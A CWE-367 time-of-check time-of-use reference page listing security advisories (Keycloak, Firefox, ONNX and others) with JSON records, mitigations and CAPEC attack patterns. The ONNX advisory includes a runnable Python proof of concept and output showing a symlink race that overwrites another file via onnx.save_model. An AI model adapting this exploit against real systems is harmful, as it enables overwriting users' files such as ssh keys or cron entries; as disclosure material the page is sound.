CWE-367
AllowedTime-of-check Time-of-use (TOCTOU) Race Condition
Abstraction: Base · Status: Incomplete
The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.
1064 vulnerabilities reference this CWE, most recent first.
GHSA-PQ65-77RC-7R8C
Vulnerability from github – Published: 2026-05-28 06:31 – Updated: 2026-07-01 21:24A flaw was found in Keycloak. An authenticated administrator with the manage-clients role can exploit a Time-of-check to time-of-use (TOCTOU) vulnerability in the name-based admin role checks. This allows the attacker to escalate their privileges to realm-admin for all users within the realm, granting them extensive control over the system. The composite role relationship persists even after the attacker's own permissions are revoked and across system reboots.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.keycloak:keycloak-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.6.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-9796"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-01T21:24:41Z",
"nvd_published_at": "2026-05-28T05:16:41Z",
"severity": "MODERATE"
},
"details": "A flaw was found in Keycloak. An authenticated administrator with the `manage-clients` role can exploit a Time-of-check to time-of-use (TOCTOU) vulnerability in the name-based admin role checks. This allows the attacker to escalate their privileges to `realm-admin` for all users within the realm, granting them extensive control over the system. The composite role relationship persists even after the attacker\u0027s own permissions are revoked and across system reboots.",
"id": "GHSA-pq65-77rc-7r8c",
"modified": "2026-07-01T21:24:41Z",
"published": "2026-05-28T06:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9796"
},
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak/issues/49427"
},
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak/pull/49624"
},
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak/commit/39cb8de54c8517efeda4baa8bc314fd40e9c6934"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-9796"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2482464"
},
{
"type": "PACKAGE",
"url": "https://github.com/keycloak/keycloak"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Keycloak has a Time-of-check Time-of-use (TOCTOU) Race Condition"
}
GHSA-PR6H-WQWG-8WXX
Vulnerability from github – Published: 2022-12-22 21:30 – Updated: 2025-04-16 15:34A Time-of-Check Time-of-Use bug existed in the Maintenance (Updater) Service that could be abused to grant Users write access to an arbitrary directory. This could have been used to escalate to SYSTEM access.
This bug only affects Firefox on Windows. Other operating systems are unaffected.. This vulnerability affects Firefox < 97, Thunderbird < 91.6, and Firefox ESR < 91.6.
{
"affected": [],
"aliases": [
"CVE-2022-22753"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-22T20:15:00Z",
"severity": "HIGH"
},
"details": "A Time-of-Check Time-of-Use bug existed in the Maintenance (Updater) Service that could be abused to grant Users write access to an arbitrary directory. This could have been used to escalate to SYSTEM access.\u003cbr\u003e*This bug only affects Firefox on Windows. Other operating systems are unaffected.*. This vulnerability affects Firefox \u003c 97, Thunderbird \u003c 91.6, and Firefox ESR \u003c 91.6.",
"id": "GHSA-pr6h-wqwg-8wxx",
"modified": "2025-04-16T15:34:05Z",
"published": "2022-12-22T21:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22753"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1732435"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2022-04"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2022-05"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2022-06"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q22R-QQX4-X7HQ
Vulnerability from github – Published: 2026-04-02 18:31 – Updated: 2026-04-02 18:31A Time-of-Check to Time-of-Use (TOCTOU) race condition vulnerability in Balena Etcher for Windows prior to v2.1.4 allows attackers to escalate privileges and execute arbitrary code via replacing a legitimate script with a crafted payload during the flashing process.
{
"affected": [],
"aliases": [
"CVE-2026-30332"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-02T16:16:22Z",
"severity": "HIGH"
},
"details": "A Time-of-Check to Time-of-Use (TOCTOU) race condition vulnerability in Balena Etcher for Windows prior to v2.1.4 allows attackers to escalate privileges and execute arbitrary code via replacing a legitimate script with a crafted payload during the flashing process.",
"id": "GHSA-q22r-qqx4-x7hq",
"modified": "2026-04-02T18:31:37Z",
"published": "2026-04-02T18:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30332"
},
{
"type": "WEB",
"url": "https://github.com/balena-io/etcher/issues/4500"
},
{
"type": "WEB",
"url": "https://github.com/B1tBreaker/CVE-2026-30332"
},
{
"type": "WEB",
"url": "https://www.balena.io/security"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q2M3-WR33-C5QP
Vulnerability from github – Published: 2026-05-15 06:30 – Updated: 2026-05-15 06:30A race condition in the MxGPU-Virtualization driver’s ioctl path caused by concurrent unsynchronized access to the global variable amdgv_cmd in an unlocked ioctl handler could be exploited by an attacker to trigger a heap-based buffer overflow, potentially resulting in denial-of-service within the vulnerable system context.
{
"affected": [],
"aliases": [
"CVE-2025-52532"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-15T05:16:32Z",
"severity": "LOW"
},
"details": "A race condition in the MxGPU-Virtualization driver\u2019s ioctl path caused by concurrent unsynchronized access to the global variable amdgv_cmd in an unlocked ioctl handler could be exploited by an attacker to trigger a heap-based buffer overflow, potentially resulting in denial-of-service within the vulnerable system context.",
"id": "GHSA-q2m3-wr33-c5qp",
"modified": "2026-05-15T06:30:29Z",
"published": "2026-05-15T06:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52532"
},
{
"type": "WEB",
"url": "https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-6027.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-Q2MR-4W4Q-26X6
Vulnerability from github – Published: 2025-06-03 06:31 – Updated: 2025-06-03 06:31Memory corruption may occur while processing the OIS packet parser.
{
"affected": [],
"aliases": [
"CVE-2024-53018"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-03T06:15:24Z",
"severity": "MODERATE"
},
"details": "Memory corruption may occur while processing the OIS packet parser.",
"id": "GHSA-q2mr-4w4q-26x6",
"modified": "2025-06-03T06:31:14Z",
"published": "2025-06-03T06:31:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53018"
},
{
"type": "WEB",
"url": "https://docs.qualcomm.com/product/publicresources/securitybulletin/june-2025-bulletin.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-Q399-23R3-HFX4
Vulnerability from github – Published: 2026-03-02 22:03 – Updated: 2026-03-19 21:22Summary
For host=node runs, approvals validated command context but did not pin executable identity for non-path-like argv[0] tokens (for example tr). If PATH resolution changed after approval, execution could run a different binary.
Impact
A previously approved action could execute a different executable than the operator approved.
Fix
Node system.run approvals now require immutable systemRunPlan data, and path-token commands are pinned to canonical executable identity (realpath) across approval and execution.
Affected and Patched Versions
- Affected:
<= 2026.2.26 - Patched:
2026.3.1
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-31997"
],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-426"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-02T22:03:29Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nFor `host=node` runs, approvals validated command context but did not pin executable identity for non-path-like `argv[0]` tokens (for example `tr`). If PATH resolution changed after approval, execution could run a different binary.\n\n### Impact\nA previously approved action could execute a different executable than the operator approved.\n\n### Fix\nNode `system.run` approvals now require immutable `systemRunPlan` data, and path-token commands are pinned to canonical executable identity (`realpath`) across approval and execution.\n\n### Affected and Patched Versions\n- Affected: `\u003c= 2026.2.26`\n- Patched: `2026.3.1`",
"id": "GHSA-q399-23r3-hfx4",
"modified": "2026-03-19T21:22:35Z",
"published": "2026-03-02T22:03:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-q399-23r3-hfx4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31997"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-executable-rebind-via-unbound-path-token-in-system-run-approvals"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: system.run approvals did not bind PATH-token executable identity, enabling post-approval executable rebind"
}
GHSA-Q3VC-H49W-254Q
Vulnerability from github – Published: 2022-05-24 17:33 – Updated: 2022-05-24 17:33Acrobat Reader DC versions 2020.012.20048 (and earlier), 2020.001.30005 (and earlier) and 2017.011.30175 (and earlier) for macOS are affected by a time-of-check time-of-use (TOCTOU) race condition vulnerability that could result in local privilege escalation. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
{
"affected": [],
"aliases": [
"CVE-2020-24428"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-11-05T20:15:00Z",
"severity": "HIGH"
},
"details": "Acrobat Reader DC versions 2020.012.20048 (and earlier), 2020.001.30005 (and earlier) and 2017.011.30175 (and earlier) for macOS are affected by a time-of-check time-of-use (TOCTOU) race condition vulnerability that could result in local privilege escalation. Exploitation of this issue requires user interaction in that a victim must open a malicious file.",
"id": "GHSA-q3vc-h49w-254q",
"modified": "2022-05-24T17:33:12Z",
"published": "2022-05-24T17:33:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24428"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/acrobat/apsb20-67.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-Q3WJ-MX7Q-RFV9
Vulnerability from github – Published: 2026-07-14 21:32 – Updated: 2026-07-14 21:32Creative Cloud Desktop is affected by a Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability that could result in arbitrary code execution in the context of the current user. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue does not require user interaction. Scope is changed.
{
"affected": [],
"aliases": [
"CVE-2026-48344"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T21:17:00Z",
"severity": "HIGH"
},
"details": "Creative Cloud Desktop is affected by a Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability that could result in arbitrary code execution in the context of the current user. Exploit depends on conditions beyond the attacker\u0027s control. Exploitation of this issue does not require user interaction. Scope is changed.",
"id": "GHSA-q3wj-mx7q-rfv9",
"modified": "2026-07-14T21:32:24Z",
"published": "2026-07-14T21:32:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48344"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/creative-cloud/apsb26-77.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q56X-G2FJ-4RJ6
Vulnerability from github – Published: 2026-04-01 23:40 – Updated: 2026-06-08 20:15Summary
The save_external_data method seems to include multiple issues introducing a local TOCTOU vulnerability, an arbitrary file read/write on any system. It potentially includes a path validation bypass on Windows systems.
Regarding the TOCTOU, an attacker seems to be able to overwrite victim's files via symlink following under the same privilege scope.
The mentioned function can be found here: https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L188
Details
Toctou
The vulnerable code pattern:
# CHECK - Is this a file?
if not os.path.isfile(external_data_file_path):
# Line 228-229: USE #1 - Create if it doesn't exist
with open(external_data_file_path, "ab"):
pass
# Open for writing
with open(external_data_file_path, "r+b") as data_file:
# Lines 233-243: Write tensor data
data_file.seek(0, 2)
if info.offset is not None:
file_size = data_file.tell()
if info.offset > file_size:
data_file.write(b"\0" * (info.offset - file_size))
data_file.seek(info.offset)
offset = data_file.tell()
data_file.write(tensor.raw_data)
There is a time gap between os.path.isfile and open with no atomic file creation flags (e.g. O_EXCEL | O_CREAT) allowing the attacker to create a symlink that is being followed (absence of O_NOFOLLOW), between these two calls. By combining these, the attack is possible as shown below in the PoC section.
Bypass
There is also a potential validation bypass on Windows systems in the same method (https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L203) allowing absolute paths like C:\ (only 1 part):
if location_path.is_absolute() and len(location_path.parts) > 1
This may allow Windows Path Traversals (not 100% verified as I am emulating things on a Debian distro).
PoC
Install the dependencies and run this:
import os
import sys
import tempfile
import numpy as np
import onnx
from onnx import TensorProto, helper
from onnx.numpy_helper import from_array
# Create a temporary directory for our poc
with tempfile.TemporaryDirectory() as tmpdir:
print(f"[*] Working directory: {tmpdir}")
# Create a "sensitive" file that we'll overwrite
sensitive_file = os.path.join(tmpdir, "sensitive.txt")
with open(sensitive_file, 'w') as f:
f.write("SENSITIVE DATA - DO NOT OVERWRITE")
original_content = open(sensitive_file, 'rb').read()
print(f"[*] Created sensitive file: {sensitive_file}")
print(f" Original content: {original_content}")
# Create a simple ONNX model with a large tensor
print("[*] Creating ONNX model with external data...")
# Create a tensor with data > 1KB (to trigger external data)
large_array = np.ones((100, 100), dtype=np.float32) # 40KB tensor
large_tensor = from_array(large_array, name='large_weight')
# Create a minimal model
model = helper.make_model(
helper.make_graph(
[helper.make_node('Identity', ['input'], ['output'])],
'minimal_model',
[helper.make_tensor_value_info('input', TensorProto.FLOAT, [100, 100])],
[helper.make_tensor_value_info('output', TensorProto.FLOAT, [100, 100])],
[large_tensor]
)
)
# Save model with external data to create the external data file
model_path = os.path.join(tmpdir, "model.onnx")
external_data_name = "data.bin"
external_data_path = os.path.join(tmpdir, external_data_name)
onnx.save_model(
model,
model_path,
save_as_external_data=True,
all_tensors_to_one_file=True,
location=external_data_name,
size_threshold=1024
)
print(f"[+] Model saved: {model_path}")
print(f"[+] External data created: {external_data_path}")
# Now comes the attack: replace the external data file with a symlink
print("[!] ATTACK: Replacing external data file with symlink...")
# Remove the legitimate external data file
if os.path.exists(external_data_path):
os.remove(external_data_path)
print(f" Removed: {external_data_path}")
# Create symlink pointing to sensitive file
os.symlink(sensitive_file, external_data_path)
print(f" Created symlink: {external_data_path} -> {sensitive_file}")
# Now load and re-save the model, which will trigger the vulnerability
print("Loading model and saving with external data...")
try:
# Load the model (without loading external data)
loaded_model = onnx.load(model_path, load_external_data=False)
# Modify the model slightly (to ensure we write new data)
loaded_model.graph.initializer[0].raw_data = large_array.tobytes()
# Save again - this will call save_external_data() and follow the symlink
onnx.save_model(
loaded_model,
model_path,
save_as_external_data=True,
all_tensors_to_one_file=True,
location=external_data_name,
size_threshold=1024
)
except Exception as e:
print(f"[-] Error: {e}")
# Check if the sensitive file was overwritten
print("[*] Checking if sensitive file was modified...")
modified_content = open(sensitive_file, 'rb').read()
print(f" Original size: {len(original_content)} bytes")
print(f" Current size: {len(modified_content)} bytes")
print(f" Original content: {original_content[:50]}")
print(f" Current content: {modified_content[:50]}...")
print()
if modified_content != original_content:
print("[!] Success!")
else:
print("[-] Failure")
Output:
[*] Working directory: /tmp/tmpqy7z88_l
[*] Created sensitive file: /tmp/tmpqy7z88_l/sensitive.txt
Original content: b'SENSITIVE DATA - DO NOT OVERWRITE'
[*] Creating ONNX model with external data...
[+] Model saved: /tmp/tmpqy7z88_l/model.onnx
[+] External data created: /tmp/tmpqy7z88_l/data.bin
[!] ATTACK: Replacing external data file with symlink...
Removed: /tmp/tmpqy7z88_l/data.bin
Created symlink: /tmp/tmpqy7z88_l/data.bin -> /tmp/tmpqy7z88_l/sensitive.txt
Loading model and saving with external data...
[*] Checking if sensitive file was modified...
Original size: 33 bytes
Current size: 40033 bytes
Original content: b'SENSITIVE DATA - DO NOT OVERWRITE'
Current content: b'SENSITIVE DATA - DO NOT OVERWRITE\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00'...
Successfully overwritting the "sensitive data" file.
Impact
The impact may include filesystem injections (e.g. on ssh keys, shell configs, crons) or destruction of files, affecting integrity and availability.
Mitigations
- Atomic file creation
- Symlink protection
- Path canonicalization
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.20.1"
},
"package": {
"ecosystem": "PyPI",
"name": "onnx"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.21.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-367",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T23:40:58Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe `save_external_data` method seems to include multiple issues introducing a local TOCTOU vulnerability, an arbitrary file read/write on any system. It potentially includes a path validation bypass on Windows systems.\nRegarding the TOCTOU, an attacker seems to be able to overwrite victim\u0027s files via symlink following under the same privilege scope.\nThe mentioned function can be found here: https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L188\n\n### Details\n\n#### Toctou\nThe vulnerable code pattern:\n```python\n # CHECK - Is this a file?\n if not os.path.isfile(external_data_file_path):\n # Line 228-229: USE #1 - Create if it doesn\u0027t exist\n with open(external_data_file_path, \"ab\"):\n pass\n \n # Open for writing\n with open(external_data_file_path, \"r+b\") as data_file:\n # Lines 233-243: Write tensor data\n data_file.seek(0, 2)\n if info.offset is not None:\n file_size = data_file.tell()\n if info.offset \u003e file_size:\n data_file.write(b\"\\0\" * (info.offset - file_size))\n data_file.seek(info.offset)\n offset = data_file.tell()\n data_file.write(tensor.raw_data)\n```\nThere is a time gap between `os.path.isfile` and `open` with no atomic file creation flags (e.g. `O_EXCEL | O_CREAT`) allowing the attacker to create a symlink that is being followed (absence of `O_NOFOLLOW`), between these two calls. By combining these, the attack is possible as shown below in the PoC section.\n\n#### Bypass\nThere is also a potential validation bypass on Windows systems in the same method (https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L203) allowing absolute paths like `C:\\` (only 1 part):\n```python\nif location_path.is_absolute() and len(location_path.parts) \u003e 1\n```\nThis may allow Windows Path Traversals (not 100% verified as I am emulating things on a Debian distro).\n\n### PoC\n\nInstall the dependencies and run this:\n```python\nimport os\nimport sys\nimport tempfile\nimport numpy as np\nimport onnx\nfrom onnx import TensorProto, helper\nfrom onnx.numpy_helper import from_array\n\n# Create a temporary directory for our poc\nwith tempfile.TemporaryDirectory() as tmpdir:\n print(f\"[*] Working directory: {tmpdir}\")\n\n # Create a \"sensitive\" file that we\u0027ll overwrite\n sensitive_file = os.path.join(tmpdir, \"sensitive.txt\")\n with open(sensitive_file, \u0027w\u0027) as f:\n f.write(\"SENSITIVE DATA - DO NOT OVERWRITE\")\n\n original_content = open(sensitive_file, \u0027rb\u0027).read()\n print(f\"[*] Created sensitive file: {sensitive_file}\")\n print(f\" Original content: {original_content}\")\n\n # Create a simple ONNX model with a large tensor\n print(\"[*] Creating ONNX model with external data...\")\n\n # Create a tensor with data \u003e 1KB (to trigger external data)\n large_array = np.ones((100, 100), dtype=np.float32) # 40KB tensor\n large_tensor = from_array(large_array, name=\u0027large_weight\u0027)\n\n # Create a minimal model\n model = helper.make_model(\n helper.make_graph(\n [helper.make_node(\u0027Identity\u0027, [\u0027input\u0027], [\u0027output\u0027])],\n \u0027minimal_model\u0027,\n [helper.make_tensor_value_info(\u0027input\u0027, TensorProto.FLOAT, [100, 100])],\n [helper.make_tensor_value_info(\u0027output\u0027, TensorProto.FLOAT, [100, 100])],\n [large_tensor]\n )\n )\n\n # Save model with external data to create the external data file\n model_path = os.path.join(tmpdir, \"model.onnx\")\n external_data_name = \"data.bin\"\n external_data_path = os.path.join(tmpdir, external_data_name)\n\n onnx.save_model(\n model, \n model_path,\n save_as_external_data=True,\n all_tensors_to_one_file=True,\n location=external_data_name,\n size_threshold=1024\n )\n\n print(f\"[+] Model saved: {model_path}\")\n print(f\"[+] External data created: {external_data_path}\")\n\n # Now comes the attack: replace the external data file with a symlink\n print(\"[!] ATTACK: Replacing external data file with symlink...\")\n\n # Remove the legitimate external data file\n if os.path.exists(external_data_path):\n os.remove(external_data_path)\n print(f\" Removed: {external_data_path}\")\n\n # Create symlink pointing to sensitive file\n os.symlink(sensitive_file, external_data_path)\n print(f\" Created symlink: {external_data_path} -\u003e {sensitive_file}\")\n\n # Now load and re-save the model, which will trigger the vulnerability\n print(\"Loading model and saving with external data...\")\n try:\n # Load the model (without loading external data)\n loaded_model = onnx.load(model_path, load_external_data=False)\n\n # Modify the model slightly (to ensure we write new data)\n loaded_model.graph.initializer[0].raw_data = large_array.tobytes()\n\n # Save again - this will call save_external_data() and follow the symlink\n onnx.save_model(\n loaded_model,\n model_path,\n save_as_external_data=True,\n all_tensors_to_one_file=True,\n location=external_data_name,\n size_threshold=1024\n )\n except Exception as e:\n print(f\"[-] Error: {e}\")\n \n # Check if the sensitive file was overwritten\n print(\"[*] Checking if sensitive file was modified...\")\n modified_content = open(sensitive_file, \u0027rb\u0027).read()\n \n print(f\" Original size: {len(original_content)} bytes\")\n print(f\" Current size: {len(modified_content)} bytes\")\n print(f\" Original content: {original_content[:50]}\")\n print(f\" Current content: {modified_content[:50]}...\")\n print()\n \n if modified_content != original_content:\n print(\"[!] Success!\")\n else:\n print(\"[-] Failure\")\n```\nOutput:\n```\n[*] Working directory: /tmp/tmpqy7z88_l\n[*] Created sensitive file: /tmp/tmpqy7z88_l/sensitive.txt\n Original content: b\u0027SENSITIVE DATA - DO NOT OVERWRITE\u0027\n\n[*] Creating ONNX model with external data...\n[+] Model saved: /tmp/tmpqy7z88_l/model.onnx\n[+] External data created: /tmp/tmpqy7z88_l/data.bin\n[!] ATTACK: Replacing external data file with symlink...\n Removed: /tmp/tmpqy7z88_l/data.bin\n Created symlink: /tmp/tmpqy7z88_l/data.bin -\u003e /tmp/tmpqy7z88_l/sensitive.txt\nLoading model and saving with external data...\n[*] Checking if sensitive file was modified...\n Original size: 33 bytes\n Current size: 40033 bytes\n Original content: b\u0027SENSITIVE DATA - DO NOT OVERWRITE\u0027\n Current content: b\u0027SENSITIVE DATA - DO NOT OVERWRITE\\x00\\x00\\x80?\\x00\\x00\\x80?\\x00\\x00\\x80?\\x00\\x00\\x80?\\x00\u0027...\n```\nSuccessfully overwritting the \"sensitive data\" file.\n\n### Impact\nThe impact may include filesystem injections (e.g. on ssh keys, shell configs, crons) or destruction of files, affecting integrity and availability.\n\n### Mitigations\n1. Atomic file creation\n2. Symlink protection\n3. Path canonicalization",
"id": "GHSA-q56x-g2fj-4rj6",
"modified": "2026-06-08T20:15:31Z",
"published": "2026-04-01T23:40:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/onnx/onnx/security/advisories/GHSA-q56x-g2fj-4rj6"
},
{
"type": "PACKAGE",
"url": "https://github.com/onnx/onnx"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "ONNX: TOCTOU arbitrary file read/write in save_external_dat "
}
GHSA-Q5VW-GWWH-J8R7
Vulnerability from github – Published: 2024-12-16 15:31 – Updated: 2025-09-05 09:30Velocidex WinPmem versions below 4.1 suffer from an Improper Input Validation vulnerability whereby an attacker can directly communicate with the driver by accessing the \"\\.\pmem\" device. From that point, it is possible to communicate with the driver via regular device operations, starting with a system of IOCTLs. To send specific orders to the driver, one can use IRP_MJ_DEVICE_CONTROL control code. This issue is remediated in version 4.1.
{
"affected": [],
"aliases": [
"CVE-2024-10972"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-16T15:15:06Z",
"severity": "HIGH"
},
"details": "Velocidex WinPmem versions below 4.1 suffer from an Improper Input Validation vulnerability whereby an attacker can\u00a0directly communicate with the driver by accessing the \\\"\\\\\\\\.\\\\pmem\\\" device. From that point, it is possible to communicate with the driver via regular device operations, starting with a system of IOCTLs. To send specific orders to the driver, one can use IRP_MJ_DEVICE_CONTROL control code. This issue is remediated in version 4.1.",
"id": "GHSA-q5vw-gwwh-j8r7",
"modified": "2025-09-05T09:30:34Z",
"published": "2024-12-16T15:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10972"
},
{
"type": "WEB",
"url": "https://github.com/Velocidex/WinPmem/releases/tag/v4.1.dev1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.
Mitigation
When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.
Mitigation
Limit the interleaving of operations on files from multiple processes.
Mitigation
If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.
Mitigation
Recheck the resource after the use call to verify that the action was taken appropriately.
Mitigation
Ensure that some environmental locking mechanism can be used to protect resources effectively.
Mitigation
Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.
CAPEC-27: Leveraging Race Conditions via Symbolic Links
This attack leverages the use of symbolic links (Symlinks) in order to write to sensitive files. An attacker can create a Symlink link to a target file not otherwise accessible to them. When the privileged program tries to create a temporary file with the same name as the Symlink link, it will actually write to the target file pointed to by the attackers' Symlink link. If the attacker can insert malicious content in the temporary file they will be writing to the sensitive file by using the Symlink. The race occurs because the system checks if the temporary file exists, then creates the file. The attacker would typically create the Symlink during the interval between the check and the creation of the temporary file.
CAPEC-29: Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions
This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.